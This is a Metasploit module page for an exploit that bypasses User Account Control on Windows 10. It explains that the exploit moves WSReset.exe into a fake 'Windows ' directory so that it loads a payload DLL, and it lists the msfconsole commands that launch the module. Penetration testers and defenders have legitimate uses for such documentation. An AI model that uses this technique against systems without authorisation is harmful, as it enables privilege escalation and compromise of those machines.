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Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)

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Disclosed
Aug 22, 2019
Created
Sep 6, 2019

Description

This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool
is run with the "autoElevate" property set to true, however it can be moved to
a new Windows directory containing a space (C:\Windows \System32\) where, upon
execution, it will load our payload dll (propsys.dll).

Authors

ACTIVELabs
sailay1996
timwr

Platform

Windows

References

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':


    msf > use exploit/windows/local/bypassuac_windows_store_filesys
    msf exploit(bypassuac_windows_store_filesys) > show targets
        ...targets...
    msf exploit(bypassuac_windows_store_filesys) > set TARGET < target-id >
    msf exploit(bypassuac_windows_store_filesys) > show options
        ...show and set options...
    msf exploit(bypassuac_windows_store_filesys) > exploit
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